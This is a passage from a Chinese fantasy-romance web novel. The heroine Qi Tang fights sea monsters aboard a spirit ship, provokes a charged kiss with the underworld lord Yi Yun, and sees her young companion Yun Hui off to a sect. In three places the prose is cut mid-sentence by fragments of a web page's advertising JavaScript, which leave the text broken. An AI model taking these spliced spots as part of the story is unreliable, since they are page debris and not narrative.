她用一种无所谓的语气说:“好了,你们这么紧张做什么?阿兄他总是这样的,性格比较独特而已……当然没事呀,能有什么事?大家该怎样就怎样,别因为他扫了兴致啊。” 易昀将要走出茶厅的背影顿了一下。 不知是否因为茶厅外是潮湿的雨水、海水,茶亭内是散发水汽的茶水,易昀竟觉得口中格外干燥。这干燥从喉咙一路窜到胃里,干得发疼,像有滚烫的沙子在胃里翻搅;枝枝蔓蔓的痛楚最终蔓延到心口,宛如被谁剜了一刀。 ** 漆瑭突然不要他为她扎头发了。 她的态度坚定而抗拒,理由也很有说服力——“十来岁的孩子都会自己挽发,我再继续让阿兄帮我,说出去惹人笑话。” 易昀冷笑一声,“你说开始就开始,你说结束就结束?” 她一错不错地盯着他,眼神里晃漾的笑意让人有些不安。 “难道说……是阿兄喜欢给我挽发,所以舍不得结束吗?” 他反盯回去,强调道:“是你恳求本尊的,也是你因为本尊没有信守承诺,所以生气。” 二人的眼神是针锋相对的,谁也不退不让。 漆瑭率先垂下了眼睫,看似示弱,但她说:“兄长怎么能每天给妹妹挽发呢。”然后她抬起眼,用一种明知故说的温和眼神看着他,“又不是小孩子了。” 易昀烦躁之下,落进了套,问道:“为何不可?” “就是不可……成年人之间,只有像子良兄和也悠姐那样的关系,才可以。” 易昀似乎猜到了什么,但又不甚明朗……他本就不怎么开窍,更别说潜意识里还抗拒,这导致他在这方面无知极了。 他近乎是懵懂地呢喃:“什么……关系?” 漆瑭得逞地笑了一下,红唇轻启吐出两个字。 “夫妻。” 易昀瞳孔骤缩,整个人像被敲了一棍的狗似的,愣在了原地。 他沉默半晌,忽然抬起她的下巴,指尖用力,“你现在真是越来越胆大包天了,别忘了你的身份,心契抹除后你还敢这样与本尊叫嚣吗?” 待心契抹除,必要杀了她,然后一切都会恢复正常…… 她眸中的笑意消失不见,取而代之的是零星泪花,这泪花不含半点委屈,只露出一抹明晃晃的倔强,显得与他格外生分。 她的语气很平,像在陈述一个事实:“你掐疼我了。” 易昀忽然就泄了劲。 27. 鲛人 海上的雨一向来得快去得也快,雨云和船舶都在移动,没一会船舶就能驶离雨域。 但今日的天气着实有些奇怪。 无边无际的云将天空铺满,像粘贴着无数或厚或薄的棉絮团,天光从薄弱处艰难地漏下来,整个世界都昏昏暗暗。 从早上到现在——临近傍晚——天空一直都是这样。 “子良兄”的妻子——陈也悠,拿出八卦盘,神神叨叨地占卜一通,最后满脸严肃地通知到每个人:“卦象不妙,恐生变数。今夜船上可能要发生大事了,各位最好早点回阁子,把门锁好。” 大家不以为意地打着哈哈。 因为陈也悠卜卦的技术和叶子良绘符的技术,堪称不相上下——她甚至连当日的天气状况都占不准。 好在相熟的这几个伙伴都是善人,心知她是好意,所以都尽量不敷衍地殷殷保证。 她一路通知到漆瑭这里。 漆瑭眨眨眼,见也悠满脸纠结,便先发制人道:“你方才在旁边嘱咐的我都听到了,我会当心的,也悠姐。”她拎起摊子上的糖罐,在手里掂了掂,“吃糖吗?” 陈也悠拧起眉头,好不严肃,先抬头看看她,再低头看看手里的八卦盘,再抬头看看她,再低头…… 漆瑭被她看得心里直打鼓。 如此几番,陈也悠终于开口:“阿瑭啊,你……尤其要当心,这卦象显示,你会有血光之灾。”她突然抬起手,敲了敲自己的脑袋,“不……不对,灾不在你,但是会殃及你。”她举棋难定,又一次否认道:“也不对……总而言之,你一定要当心。” “知道啦。”漆瑭分拨出小半罐橘子糖给陈也悠装好,嬉笑道:“放心吧,我血厚。” 陈也悠嗔怪地瞪了她一眼:“漆瑭,你到底有没有把我的话听进耳朵里,这次是真的!保真!你对你自己的小命能不能上心一点!” “哎呀,听到了,我会当心的。” ——不过她也确实是血厚,至少在抹除心契之前,还是很厚的。 …… 自漆瑭和冥主闹掰之后,他已经出走两日了。 漆瑭该吃吃该喝喝,整日既修炼又修剑,过得十分充实。 但是自己扎头发的时候,难免会想到冥主……她觉得二人的关系似乎抵达了某种临界点,但是还缺乏那么一个契机,能水到渠成地破除横亘的阻碍。 漆瑭没有想到那个契机会来得那么快。 …… 晚霞被隔绝在云层之外,隐约能渗进来一抹淡淡的橘红,在黑灰色的云里洇开,显得分外诡谲。 天色暗得太快了,小商街上有些摊贩已经开始收摊了。 飘渺的歌声就是在这时突然响起来的。 很难说那究竟是一种怎样的声音,已经脱离了“好听与否”的范畴,捂住耳朵也抵挡不住那诡异的歌声往脑子里钻。 耳朵几乎是无可抵抗地变成了承接雨露的荷叶,这荷叶的茎是中空的,酸甜苦辣味的雨露顺着就淌到了深处,狠狠地滚了一圈,再沸腾似的翻上来…… 仅在片刻之间,所有人都不受控制地流出了眼泪。 “啊!!!”不知是谁痛苦地大叫一声,猛地翻上栏杆跳进了海里,他的速度太快了以至于周围人都来不及阻拦一下,幸亏近处有好心的修士释出灵力将他拽了回来。 那修士高声道:“所有人,快回屋里,把门窗锁上!这是海灵群!” 有人惊恐地呢喃道:“海灵!竟是海灵!其歌声能……惑人入迷,沉沦虚妄!” “大家伙快跑啊!千万把自己锁好了,千万不要出来!” 一时间,人群乱作一团。 漆瑭揉了几团灵力扣到了自己与云茴的耳朵上,这招能稍微阻隔一点歌声,降低其影响,却做不到彻底隔绝。 本在厨房里偷偷熬糖的树精小绿也被惊动,迷迷瞪瞪地跑了出来,看样子,它并没有被那诡异的歌声影响。 “啊!啊呀仙子!”小绿的脑袋难得灵光了一次,麻利地将自己的身体摊成一张饼,飞起来裹住了漆瑭的两只耳朵。 接着,漆瑭就发现自己听不到那嘈杂、犹有无数神秘低语的歌声了,脑海霎时清明。 她示意云茴跟着也悠姐他们一起回去,“去我的房间,那有我阿兄留下的法阵,安全。” 云茴对她向来是言听计从,立马乖乖点头。 陈也悠拉住漆瑭的小臂,语气很急:“你怎么不走,阿瑭你别忘了我下午跟你讲过什么,那卦象你不要不信啊!” 叶子良也旁边淡定地附和,语气慢吞吞的:“也悠说得对。” 漆瑭明白他们是好意,因为他们看不到树精小绿,不知道“阿兄”就是冥主,也不知道她还有一个“共享伤痛的心契”底牌。 陈也悠看出漆瑭的油盐不进,简直要急疯了:“海灵这东西是没什么杀伤力,我知道你拿的住,但是,我的卦指的可不只是海灵!今夜绝对还有大事,阿瑭……” “劳烦也悠姐帮我照顾好云茴吧。”她双手合十,神情特别乖巧,“拜托了。” 陈也悠一口气哽在喉咙里,她当然看得出漆瑭那装模作样的乖巧里,包藏的是一意孤行的坚决,但是,她确实不能再耗下去了——还有云茴这个小丫头呢。 “漆瑭,你可千万要当心啊。” ** 船楼外的零星无尽灯亮了起来,却驱不散那浓得令人喘不过气来的黑暗。 船头,曾出手救人的那位女修抱着长刀稳稳地站着,目光逡巡在海面上。 船尾,站着漆瑭。 二人心照不宣地没有彼此打扰。 漆瑭转着手里的鲛珠,想了想,将它塞回了乾坤袋。 用不上。 这局面若是她能处理得了就罢了,若是处理不了——那就可以顺理成章地将冥主引回来了。 海灵的歌声不间断地响着,忽然—— “啪嗒” 像浸水的布拍在了木板上的声音。 “啪嗒啪嗒啪嗒” 船头忽然刀光一闪,凛冽的寒芒划破空气,转瞬就将那险些爬上船的东西掀了下去。 “海妖。”女修沉眉压眼,面色冷峻,“海妖与海灵是天敌,它们怎么会一起出现?” 话音未落,漆瑭这里也传来了愈发逼近的“啪嗒”声。 水迹像活物似的攀上了船板,速度极快地朝她漫过来,一边移动,一边有粘稠的黑影从那水迹里向上缓缓凸起—— 漆瑭取出修好小半的锈剑,不算熟练地挽了一个剑花,跃跃欲试地朝那东西袭去。 一刺、一挑,就将这只海妖掀下了船。 “啪嗒”声再次响起,听声可辨,这次的数量似乎更多了。 那水迹里的黑影能长到足有两人高,四肢欣长,黏稠的黑水像无数树根,在它身上垂到地面。 漆瑭有些应接不暇,但与此同时,她的剑法愈发娴熟,进步飞速。 刺、挑、劈、绞…… 她刻意露出看似空门的后背,准备伺机一举斩了后方那只最高大的海妖。 然而余光中闪过一抹金色,那本要落在漆瑭陷阱里的攻击被迫消弭……紧接着,船头船尾所有的海妖齐齐顿住,群马似的扭头逃窜进海中。 一场突如其来的危机就这么突如其来地消失了。 漆瑭转回身,看见了一头有些熟悉的蓝发——鲛人的鱼尾变成了两条腿,他穿着一袭金灿灿的长袍,像一只开了屏的孔雀,痴痴地笑:“还好,没有来迟,漆……漆瑭,我把它们都赶跑了!” ** 据润青所说,他是碰巧偶遇到这艘灵霄舶的,远远看见海妖海灵们发疯,就跑来救人了。 润青惊喜地说:“没想到竟然是你呀!不过……遇见这样的危局,你怎么没用那颗鲛珠呢?”他委屈地垂下眼角,深蓝色的瞳孔海水似的荡漾,“莫非……漆瑭你不相信我?” 漆瑭的心里敲起警铃,不动声色地观察他,同时浅浅一笑,“当然不是,我只是误以为我能处理得了。”她若无其事地夸赞:“你真厉害,没想到那些难缠的家伙这么听你的话。” 润青腼腆地笑:“因为我是鲛人嘛。” …… 危机解除,船头的女修过来礼貌 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 地对漆瑭二人抱了抱拳,便折身往船楼走去。 然而这时变故陡生。 原本恢复了寂静的海域再次响起了海灵的歌声,这次的歌声愈发疯狂刺耳。 “啪嗒”声密密麻麻,此起彼伏,来势汹汹! 润青变了脸色,急道:“奇怪,它们不听我的了!” 海妖群疯了似的倾巢而出,密密麻麻的黑水漫到船舶上。 漆瑭将其中一只拦腰斩断,就见到一团紫火鬼灵灵地飘了出来,吱哇嚎叫。 恶念! “这是什么鬼东西!”几个下定决心离开船楼的修士这才加入,被那紫火瘆得一个激灵。 更糟糕的事来了—— “我感应到有一只鲲瞑正在朝这里飞速赶来。”身为鲛人的润青虽能一掌拍死一只海妖,但要捏死恶念却有些麻烦,他急得拧起眉头,“这只鲲瞑也不听我的话!” “那你打得过它吗?”漆瑭一边砍海妖,一边见缝插针地问。 “不……不知道,我试试?可是,往常它们对我们鲛人,都是俯首称臣的。” ——那就是打不过。 是时候了。 漆瑭突然持剑往自己肩头狠狠划了一剑,痛感悄无声息地蔓延。 海妖实在是太多了,杀不尽似的,加入战场的修士虽越来越多——就连叶子良都跑出来撒符了,但还是左支右绌。 黏糊糊的漆黑海妖对分散在各个地方的修士呈包围之状,漆瑭和润青背靠背被围在其中一个圈里。 润青忽瞥见漆瑭肩上的衣料渗出血迹,惊道:“你受伤了!”他显而易见地慌乱了,可是他尚且自顾不暇,“之前跟在你身边的那个男人呢,他不是很厉害吗,他去哪了?!” 再次掀飞两只海妖,漆瑭一愣:“你是说我阿兄?” 润青也一愣,关注点突然就跑偏了:“你是说,他是你兄长?”他仔细地回想初见漆瑭那日的细节,发现自己因为太兴奋了,完全想不起来,只记得那男子闻起来和漆瑭没有血缘关系,而且——就是因为他,漆瑭才没把自己带走! “原来只是兄长而已啊!” 鲛人诡异地高兴了起来。 此时漆瑭剑锋前指,只见侧方忽有一只海妖借机偷袭。 她完全来不及抵挡! 那庞大的黑影以迅雷不及掩耳之势逼来,眼见它的头就要咬上漆瑭仍流着血的肩—— 突然,它凝固似的停住了。 下一瞬,它胸前的位置倏地破开一个硕大的口,里面冒出来一只苍白至极的手,海妖身上的黑水血液似的呼呼往外淌。 那只将其贯穿的手臂缓缓抽离,发出令人恶心的黏腻声,随后,海妖软绵绵地倒了下去。 漆瑭猝不及防地跟冥主对视了。 他那双眸子特别黑、也特别冷,像结了冰的湖,冰面之下涌动着某种蠢蠢欲动的东西。 看似冷静至极,实则来得匆促、出手贸然…… 漆瑭头皮发麻,有片刻竟然兴奋得险些喘不上气来。 她盯着他笑起来,眼角眉梢都带着笑,回应道:“对啊,只是兄长而已啊。” 酝酿了整整一日的暴雨终于在此时倾盆而下,电闪雷鸣里,黑气霎时铺天盖地。 ** 漆瑭美名其曰“阿兄在屋里设的法阵认人”,将润青关在了门外,屋里只有云茴、陈也悠、叶子良这几个相熟多日的伙伴。 漆瑭警惕地眯起眼睛,看着鲛人落在门上的影子。 他仍站在她的门外,来历不明、目的不明、行为诡异…… 船楼外,留给冥主的战场声势浩大;船楼内,云茴和也悠手忙脚乱地帮漆瑭包扎。 不知过了多久,外面激烈的战斗声消失了。 一道闪电将世界劈得亮如白昼,可以看见,门上出现了第二个影子。 两个影子一左一右,暗流涌动,仿佛在进行一场无声的角力。 最终,右边那个影子胜者似的缓缓抬起手,轻叩房门—— 漆瑭听见了一个平静却又饱含暗示意味的声音。 “妹妹,开门。” 28. [锁] [此章节已锁] 易昀叩门后,众人贴心地各回各屋,把空间留给了这对“威严的兄长和冒失的妹妹”。 门关上时掀起了风,无尽烛的烛光荡漾了一下,倒映在少女瞳孔里的火也荡漾了一下,然后消失——因为她垂下了眼,刻意不去看他。 易昀的心里很焦躁,时时刻刻都在焦躁,但他不明白是为什么。 他莫名觉得,她知道他的反常,也对他的变化了如指掌,但她就是什么也不做,隔岸观火看着他挣扎、失控。 暴雨如瀑,将屋内的脚步声尽数遮盖。 他进一步,漆瑭就退一步。 她的视线里是他干燥整洁的衣摆,露在外面的双手也是同样的干净,看起来他早已施法诀把自己收拾好了,就连身上的潮腥气都淡了不少。 但冷气还是扑面,或者说更近似于某种冷兵器出鞘的寒凉——杀伐,冷血,特别没有人味。 像他手中拎着的那支仍带着杀气的判官笔,看上去又冷又硬。 她被逼到墙角了,无处可退。 伴随着不断划过天空的细密闪电,落在易昀身上的光线忽明忽暗。 忽然,判官笔圆钝的一头抵上了漆瑭的腰窝,凉意渗透单薄的衣料,冷得她一个激灵。 凉意开始滑动,像一条攀缘的水蛇,顺着她的身体缓缓地上移,直到抵在她肩前的纱布上。 他似乎有很多话想说,但最终,只是平静地问:“谁给你包扎的?” 她这才悠悠地仰起头看向他,比海水还会荡漾的一双眼睛轻轻一眨,“谁给我包扎的?云茴、也悠、子良、沈确……还是鲛人润青?”她微微前倾,判官笔的力道被迫变重,伤口的痛意丝丝蔓延,又麻又痒,“你想听到什么样的答案呢……阿兄。” 易昀的呼吸一重,随即不服输似的手腕一转,将她的纱布挑开了。 漆瑭借势“嘶”了一声,咬住了唇,唇瓣被咬的失去血色,然而松齿后,那片唇又会变得比先前更加红润。 她的眼泪说来就来,在眼眶里滚来滚去。 “好疼……本来就疼……我实在打不过它们了,你都不知道那会我有多怕……” 他不信。 初见时,她对自己比谁都狠。 可是他几乎无暇深思,被焦躁灼烧了两天的脑子在此刻愈发混沌,目光情不自禁地落在她的唇上。 忽然想起蜃气幻境里虚假的触感,柔软得像水,却又温暖馨甜……让他毫无征兆地生出一股破坏欲。 想要将一切亲手撕碎。 而现在,当她含着泪用这种眼神看着他的时候,心里那恐怖的欲望又开始躁动了—— 想要将她狠狠抵在墙上,亲手剖开她的伤口,用痛感止住那又麻又痒的感受;想要看见她眼眶里的泪落下来,最好是落在那两片唇瓣上,像橘子汁似的涂抹得晶莹;想要……用力地撕咬。 他几乎是无意识地缓缓垂头,去寻找那攫住他注意力的东西。 缓缓靠近,近在咫尺,呼吸开始纠缠…… 然而她忽然痛得哆嗦一下,双腿一软,险些瘫倒。 痛感同步地窜到了易昀身上,腹部宛如揣了一把冰冷的刀子,正在拼命地搅动敏感的神经,每搅一下都是极致的刺疼。 这意外来得毫无预兆,徘徊在承受力边缘的剧痛令漆瑭愈发清醒,她能清晰地感受到——他竟屈膝抵进了她的腿/间,阻止她原地瘫下去。 易昀几乎是未经思考,猛地撕开自己的手腕,捏开她的嘴就按了上去。 入口的血液是微凉的,甚至没有一丝半点的血腥味,而是能品出淡淡回甘的草木香,竟然……有点好喝? 漆瑭诧异地瞪大了眼睛。 更神奇的是,随着血液入口,胃部竟然涌出一股热流。这热流下沉到腹部,和那冰冷的痛源对撞,强势地将其镇压。效果颇为霸道。 易昀难得发怔,因为他压根不知道自己为何要给她喂血,又为何自己的血能压制这痛,他所作所为更近似于一种本能,仿佛他曾无数次地这样做过……但是,想不起来。 他自愈能力很强,这会手腕已经自己止住了血,开始复原。 腹部、腕部、甚至就连肩部,所有的新伤旧伤都在痊愈,痛觉像被水浇灭的火苗般消失。 经此意外,之前萦绕的暧昧气氛一扫而空。 漆瑭琢磨着,要不要现在把季棠叫出来,问问这到底是什么情况…… 突然,唇上的力道一重。 他竟抬手捧住她的脸,拇指在她的唇上重重一蹭,像抹口脂似的把她唇上的血珠前后涂开。 那力道宛如落在了漆瑭的心脏上,让她有些颤栗,与此同时,她直觉事情不对。 他身上的黑气若隐若现,似乎处于失控的边缘,原本黑绿色的瞳孔里,两种颜色的界限突然变得模糊,好像……将要融化成灰色…… 然而她看不到那双眼睛最终变为什么颜色了,因为他突然垂下头朝她贴了上来。 来得突然,又毫无章法,点、撞、蹭、碾…… 像一只不知如何表达心情的狗,全身抖擞却只会亲昵磨蹭,疯狂摇尾。 她抬手摁住他放在她肩颈处的手,易昀一顿,微微撤开身子…… 然而漆瑭没给他后退的机会,她紧贴而上,忽然暗示性地舔了一下。 这一下,似乎打开了易昀的某个开关,突然就无师自通起来。 窗外,持续多时的磅礴雨势开始转小,电闪雷鸣褪去威势,只有风声仍在呼啸;窗内,才开始不久的小雨,雨势渐大…… 这个吻不掺杂任何情与爱,只是单纯的欲望,掠夺欲、侵略欲、占有欲…… 他扣住了漆瑭的手腕,摸到她手上冰冷紧致的炼器手衣,嫌弃地“啧”了一声。 然后漆瑭感到,手衣的边缘被掘开了一道缝隙,一根更加冰冷的手指强硬地挤了进来。因为手衣极其贴合,绷得很紧,所以她甚至能清晰地感受到他分明的骨节。 唇舌、腿间、手上……被入侵感极度强烈,漆瑭有些喘不过气,本能地大口呼吸,却迎来了更猛烈的雨。 于是她反咬回去,直到唇齿间萦绕起清香的草木味。 易昀似乎是抖了一下,黑气如开了闸的洪水般汹涌而出,瞬间将小阁子填满。 他呼吸很重,每喘一下,黑气就拔掉她头上的一支玉环珠翠……最后拔下的,是那支似乎在微微颤抖的蝶戏花玉簪。 玉簪落地,丝绸般滑而凉的长发垂至腰间,他拢住她脑后的头发一并狠狠地扣住她的后颈,迫使她与自己贴的更近。 这时,不知从何而来的一阵怪异的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 风,凑巧吹开了窗户,又凑巧露出了藏在外面的润青的脸。 鲛人面色惨白,头发早被暴雨打湿,真真正正的像贴在身上的深蓝色海草。 漆瑭的“兄长”那双绿油油的眼睛朝他冷冷地钉过来,姿态示威。 润青握紧拳头,逃离得极为狼狈。 经这一通发泄,易昀混沌的头脑有了一丝清醒,但他不知为何,就是舍不得离开唇齿间的柔软。 好像一直、一直……心里油然升起一种,终于得到了觊觎已久的宝物的满足感。 直到那柔软先行离开。 漆瑭趁他走神,好不容易将他推开,见他狗似的还想继续凑上来,她便伸出食指,封印似的竖在他的唇上。 易昀停住了,那双绿到极致的眼睛一错不错地盯着她,喉结重重一滚。 想要放肆,却又……不得不听话地克制。 “告诉我。”她得了空隙,狠狠呼吸了几口空气,“你叫什么名字?” 此时的冥主,是她从未见过的温顺,就连他周身那接近狂暴的破坏欲,都好似变成湿漉漉的小狗,柔软地贴近她……以另一种方式宣泄出来。 漆瑭也是在这时才发现,他的睫毛很长,虽然长却有些稀,只是贴着上眼皮薄薄的一层,像什么昆虫透明的薄翅,随着说话会微微颤动。有一种和他整个人格格不入的别样的乖巧感。 他没有舍得离开她的手指,一贯冰冷的唇难得温热,轻蹭着说:“我叫……易昀。” “原来你叫易昀啊。”她轻笑了一下,瞳孔里倒影的烛光,像阴云外的星星。 她收回手指,转而抵上他的后背,朝自己轻轻一推,然后用一种命令的语气说:“易昀,吻我。” 窗外雨声渐歇,暴雨趋于平息,三三两两的雨滴像断线的珠子;而窗内,暴雨才刚刚开始。 ** 笠日早上漆瑭睡醒,嘴巴还是麻的。 虽然结果是她早有预料的,但她还是有些想不明白,易昀为何会对她有这样的欲/望。 他毕竟活了那么久,就像二人之前说的,“一千年几乎是漆瑭全部人生的五十倍”了。 他经历过什么好的坏的事、遇见过什么好的坏的人、体会过什么好的坏的情绪……漆瑭并不会自信到觉得自己都能懂。 要想在那样难以想象的人生阅历里,烙下自己的名字,简直是一场胜负难料的豪赌…… 漆瑭觉得自己和他的博弈,也只不过是摸着石头过河,很多时候她其实也拿不准、看不懂。 就像昨夜他突然撕开了自己的手腕,那一幕给她的视觉冲击巨大,彷佛站在眼前的不是一个皮肉完整的人,而是一个不计后果的莽撞恶鬼——显露出鲜血淋漓的真身。 尽管如此,她似乎……已经摸到很大、很大的筹码了。 漆瑭坐在床边想了半天,自己究竟做了什么才得到筹码呢? ——润物无声的攻心?若有似无的勾引?还是火候仍觉不够的逼迫? 进展得过于顺利了,以至于让她觉得格外的悬浮、不真实。 易昀他,也太好骗了吧? …… 好像也没有很好骗。 今天他没离开船舶,但他把自己关在了阁子里。 漆瑭怎么敲也没开门。 29. 猜测 又是一个艳阳晴天,海面亮得晃眼。 两艘几乎是同样庞大的灵霄舶并驾齐驱,在它们行驶方向的尽头,已经隐约可见一线陆地。 至多一日,就能靠岸了。 漆瑭收回视线,目光落在哭得梨花带雨的季棠身上。 “抱歉……我真的,想不起来了……”半透明的执念体羞愧地捂着脸,低声啜泣,“我总觉得我应该知道,但是……就是想不起来是什么,抱歉漆瑭……我不是有意的。” 执念体感情极度单一,偏执到极点,比起一个复杂鲜活的人,更像是一种盛满执念的容器。 与执念相关的那部分记忆,像橘子皮上雪白的橘络,被逐渐剥离,投入执念养液里,培育得愈发粗壮。而剩下的橘子皮,则被抛弃在无人问津处,飞速枯败。 漆瑭对此深有感触,因为她发现——从前的季棠甚至还可以给她进行“修真小讲堂”,但现在的季棠,已经说不上来最基础的“何为气”了。 也难怪她记不得为何身体会有突如其来的剧烈腹痛。 “没事,记不得就算了。”漆瑭佯装无事地宽慰,“不是什么大事,能控制住。” 季棠茫然无措,一双眼里竟看不出一丝清明,执拗地呜咽道:“漆瑭……你不要死啊,你死了,我该怎么办啊……” 不知道是否因为占用了她的躯体,饶是漆瑭再想冷漠静心,也还是忍不住与她共情。心里酸酸的,很不是滋味。 “我不会死的,放心。”漆瑭第三次向她保证。 甲板上行人来往,昨夜暴雨残留的雨水还未彻底蒸发,湿漉漉的地面像海面一样泛着光。 执念体季棠再次陷入沉睡,化作耳铛回到漆瑭身上。 姜云茴与沈确迎面走来。 “‘星移月转,风沉地窟,天门大开’,这么有名的话你都没听过?” 云茴今时不同往日,从前那个迟钝怯懦、逆来顺受的小可怜身影早已淡去。尤其在与沈确相熟后,索性连礼节性的“客套装傻”都不做了,对他的“讨厌”是丝毫不加掩饰。 她面无表情地摇摇头,没有答话。 半大少年轻狂不羁——用漆瑭的话来说就是“极爱犯贱、狗都嫌的年纪”,他半点也不在意女孩冷淡的抗拒,继续追问:“天门据说通往神界,神界!你不可能没听说过吧?修士们修炼,不就是为了搏一分飞升神界的可能性吗?” 云茴继续面无表情地摇摇头。 沈确有点急了:“那冥界呢,你总听说过吧?天下三界,人间界、冥界、神界,你若是听说过冥界,那必然也听说过神界啊。” 云茴这次头都懒得摇了,朝着漆瑭疾走两步。 熟料沈确抬手揪了一下她的发髻,然后把衔在口中的狗尾巴草拿出来,插到云茴的发间了。 “呵,不知道是吧!看来你是小蠢货一只。” 云茴当场炸毛,把草拔出来怒斥:“沈确!你把我的头发弄脏了,好恶心!” 漆瑭好像知道为什么好脾气的云茴,在和沈确刚认识时就不对付了——沈确在某些时候,竟有些水行村小霸王忍青的影子。 好在,那都过去了。 她忍着笑,施一道清洁决拢到云茴头上,感兴趣地追问沈确:“没想到你对神界还颇有了解,那地方当真存在吗?” “那当然了。”沈确神神秘秘道:“我有靠谱的消息,那些顶尖大能们,据说能‘谛听神谕,窥见天声’。” “那是什么神谕,又是什么天声?” 沈确耸耸肩,自夸道:“那就不知道了,这可是天大的辛秘!能窥见那么一点边缘消息,已算十足不错了。” 两艘灵霄舶靠近,中间以廊桥作为连接,互通往来。 对面那艘是昨夜后半夜姗姗来迟的,据说是为了追捕那只被恶蜮寄生的负伤鲲瞑,与那群被恶念侵蚀的海灵海妖群。 恶蜮逃逸的消息一经传到人间界,以玄机宗为代表的珩海州联合其余八州,派遣诸多大小宗门修士全天下追踪恶念。 这一船年轻的修士运气不错,也许是恶蜮寄生时鲲瞑殊死反击,导致它最终虽寄生成功,却负伤六分。 所以恶蜮并未与他们硬碰硬,远远瞧见那艘“装备齐全灵霄舶”,就反身逃走了。 它一边试图甩开他们,一边警惕大泽海里神出鬼没的冥主。 途中碰到漆瑭这艘凡人众多的“脆皮灵霄舶”,恶蜮本打算先通通拿下,然后威逼加利诱,轻松“进补”一番。 没成想这脆皮灵霄舶竟然与冥主有某些渊源,它几乎是闷头撞进了冥主手心里。 死了。 雪原深处,巨大的地下溶洞如同一个地心宫殿。 宫殿中央,高耸的洞顶开天窗一般豁开一个圆形的口子,微弱的阳光从外面坚实厚重的冰层里透进来,照亮了中央一截枯萎多时的巨木。 此时那巨木上停栖着一大群蓝闪蝶,蠕动的触须和蓝翅闪烁着莹紫色的光芒,忽闪忽闪,像无数一眨一眨的眼睛。 忽然,树根处动了一下,裹在上面的蓝闪蝶们仓惶纷飞,露出了里面的东西—— 那凸起竟不是枯树的树根,而是一个人。 Ta痛苦地抽搐了一阵,烦躁之下,随手抓碎一把身旁的蓝闪蝶。 蝶翅上的鳞粉飘飘洒洒,落了一地。 “第二个了。”声音雌雄莫辨,带着重伤之下的沙哑与粗粝,然而语气中却满含着愉悦的期待,“快了,快了!哈哈哈!快了,快了……” ** 恶蜮分身被灭,是一大喜事,两艘船上的人都喜气洋洋。 人多口杂,各怀心思,实际上的交往并不像看起来那么和谐单纯。 所有人最好奇的,就是昨夜的最后,那场声势浩大的战斗究竟是恶蜮与什么人。 “我扒着窗户看了,什么也瞧不见嘛,雨下的太大了,又黑。” “我们当时离这里还挺远,更是什么也看不到,但那场景可真骇人,真真是巨浪滔天,可以想见打得有多激烈了。” “会不会压根不是人啊?是不是恶蜮惹到了海里的什么东西?” “海里有什么打得过鲲瞑?会不会是……鲛人?” “谁见过鲛人?那东西到底是真的存在,还是古人臆想的……还不好说。” “指定是真的,我家藏书阁里记载过,据说千百年前,海里的鲛人跟鱼一样多。” “我觉得是假的!就跟那神界似的,古人说有,但这几百年——就说这一百年吧,有谁见过? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” “哎你们说,会不会以前有,但现在灭绝了啊?” …… 漆瑭坐在打打闹闹的云茴和沈确旁边,不动声色地听着树精小绿汇报偷听到的话,见到门口出现了熟悉的身影,才令它离开。 陈也悠与叶子良身后跟着几个隔壁船的生面孔。 “这是我们青木宗的师弟师妹们。”陈也悠先简单给两方人互相介绍了姓名,随即正色道:“青木宗,位处紫府州,占据州内第十八把交椅。” 此话一出,青木宗几人都尴尬地咳了几声,互相使眼色。 叶子良非常没有眼色地附和道:“确切地说,是第十八线交椅。” 几人绝倒,满脸放弃挣扎的摆烂。 陈也悠与叶子良默契地对视一眼,继续介绍道:“宗内景色宜人,上有青山,下有水田;开设课程门类众多,譬如绘符,这可以参考你子良兄,譬如卜卦,这可以参考我。此外还有刀剑棍棒、炼体修身等等,参考这几位。” 青木宗几人松松垮垮的站姿瞬间挺拔如松,满脸心虚地“哈哈”附和,其中一个绿衣少女终于忍不住似的,悄声加了一句:“虽然十八线,但是我们青木宗未来可期。” 陈也悠颇觉认同地点头,眼神似乎在说“小师妹你觉悟颇高啊”。 最后,她认真地问云茴:“姜云茴,你真的想好了要加入我们青木宗吗?” …… 在最初,云茴满心恨意,只想用最快的速度变得强大,然后亲自参与围杀恶蜮。 她给自己设置了一个“极恶”的目标——要不择手段地进入她能接触到的最强大的宗门,她想,她一定会像海绵吸水那样汲取知识,把余生的时时刻刻献给修行。 因为不强大,就会变成砧板上的鱼肉,任人宰杀。 云茴从小就是一个欲望很淡的人,一碗蛋羹、一只小猫,就能让她开心一整日。 哪怕被人欺负了,回家也不会诉苦、卖可怜,只要被奶奶笑着抱进怀里,亲昵地叫她“我的小阿茴”,她就什么糟糕心情也没有了。 她想要的不多,可是,再也得不到了。 姜云茴本来就是这样一个可爱又可怜的小姑娘,所以她的极端心态慢慢发生转变,可以说是在情理之中。 阿瑭姐姐的兄长每次看到她,眼神都又冷淡又厌烦,看得她惶恐且心虚。她心知自己是阿瑭姐姐的“麻烦”,不能继续麻烦下去了。 也悠姐和子良兄又都是很好的人,他们心地善良,相处起来非常舒服……最重要的是,他们愿意欣然接纳她。 云茴还是想修行,想变得强大。 但似乎,不是因为“恨”了。 …… 姜云茴与青木宗双方都没问题,事情就这么定下了。 漆瑭对此没什么太大的感触,走也罢、留也好,人们本就是来来去去的。 反正每个人都有每个人自己要走的路。 但不知为何,她没有心情继续敲易昀的门了。 可能今天有些累,明天再说吧。 入夜,她的门反而被敲响了。 门外,是捏着手指、满脸忐忑抱歉的云茴。 她说:“对不起阿瑭姐姐,我有点睡不着,可以找你说说话吗?” 30. 雪人 云茴是一个很坦诚的小姑娘,她不仅坦诚地面对自己的心,还敢于向旁人坦诚自己的心。 阴云退去后,今夜的月光皎洁。月光下,两个女孩的影子依偎在一起。 云茴平平静静地说,漆瑭安安静静地听。 最后云茴说:“我想,我这才明白,奶奶最后说的那句话是什么意思——往前跑,再也不要回头……阿瑭姐姐,你说我这样想是对的吗?” 此时的漆瑭,是罕有的、真实的温柔。 她看着云茴,轻声说道:“至少我觉得,若是姜阿婆看到现在的你,一定会感到欣慰的。” 云茴开心地笑了,眸中一闪而逝的水光,就像此时天上忽明忽灭的星光。 “谢谢你,阿瑭姐姐……虽然你总是说我们萍水相逢,但是。”她双手捧住心口,认真而诚恳,“我会此生铭记,往后只要阿瑭姐姐需要,我定在所不辞。” 